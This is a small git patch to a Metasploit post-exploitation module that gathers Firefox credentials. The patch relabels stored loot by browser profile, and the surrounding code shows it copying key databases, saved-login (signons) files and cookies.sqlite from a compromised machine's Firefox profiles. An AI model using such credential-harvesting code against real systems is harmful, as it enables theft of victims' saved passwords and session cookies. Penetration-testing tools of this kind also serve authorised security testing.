From 9258cda144ed45b7bce3bcdebfe306bb66f271e2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 2 Mar 2012 16:45:42 -0600 Subject: [PATCH] Change :info and file name so it's easier to identify it's a Firefox profile --- modules/post/multi/gather/firefox_creds.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index d80d10dd72..1bc996ff62 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -203,6 +203,8 @@ class Metasploit3 < Msf::Post def download_loot(paths) loot = "" paths.each do |path| + print_status(path) + profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s if session.type == "meterpreter" session.fs.dir.foreach(path) do |file| if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/ @@ -226,7 +228,7 @@ class Metasploit3 < Msf::Post mime = "binary" end file = file.split('\\').last - store_loot("firefox.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "Firefox #{file} File") + store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") end end end @@ -244,7 +246,7 @@ class Metasploit3 < Msf::Post mime = "binary" end file = file.split('/').last - store_loot("firefox.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "Firefox #{file} File") + store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") end end end